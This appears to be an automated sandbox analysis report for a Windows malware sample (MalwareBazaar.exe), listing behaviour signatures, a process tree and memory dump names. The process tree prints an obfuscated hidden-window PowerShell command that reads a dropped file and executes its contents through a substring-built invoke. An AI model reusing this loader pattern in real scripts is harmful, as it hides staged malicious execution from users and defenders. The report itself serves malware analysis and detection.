Analysis
- max time kernel
148s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
30/07/2024, 16:26
General
- Target MalwareBazaar.exe
- Size 534KB
- Sample240730-txwxcasejd
- SHA256 d09e5aa4e74c009e6ec6b80ff7fe4da43eeb4640104c54036f40755f55767118
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Opildnende=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Tilkendegivelses\dekanesses\Avanceringernes39\pocherende.Wis';$Omstaendighed=$Opildnende.SubString(6239,3);.$Omstaendighed($Opildnende)2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2040 -s 27683⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2040 -ip 20401⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
pocherende.Wis
__PSScriptPolicyTest_oa2hf2rv.0z5.ps1
memory/2040-12-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2040-27-0x0000000006990000-0x00000000069DC000-memory.dmp
memory/2040-8-0x000000007382E000-0x000000007382F000-memory.dmp
memory/2040-13-0x0000000005930000-0x0000000005952000-memory.dmp
memory/2040-15-0x0000000006270000-0x00000000062D6000-memory.dmp
memory/2040-14-0x0000000006190000-0x00000000061F6000-memory.dmp
memory/2040-11-0x0000000005B60000-0x0000000006188000-memory.dmp
memory/2040-25-0x00000000062E0000-0x0000000006634000-memory.dmp
memory/2040-26-0x00000000068E0000-0x00000000068FE000-memory.dmp
memory/2040-10-0x0000000073820000-0x0000000073FD0000-memory.dmp
memory/2040-28-0x0000000006E70000-0x0000000006F06000-memory.dmp
memory/2040-29-0x0000000006E20000-0x0000000006E3A000-memory.dmp
memory/2040-30-0x00000000078C0000-0x00000000078E2000-memory.dmp
memory/2040-31-0x0000000007EA0000-0x0000000008444000-memory.dmp
memory/2040-9-0x00000000032F0000-0x0000000003326000-memory.dmp
memory/2040-33-0x0000000008AD0000-0x000000000914A000-memory.dmp
memory/2040-35-0x0000000073820000-0x0000000073FD0000-memory.dmp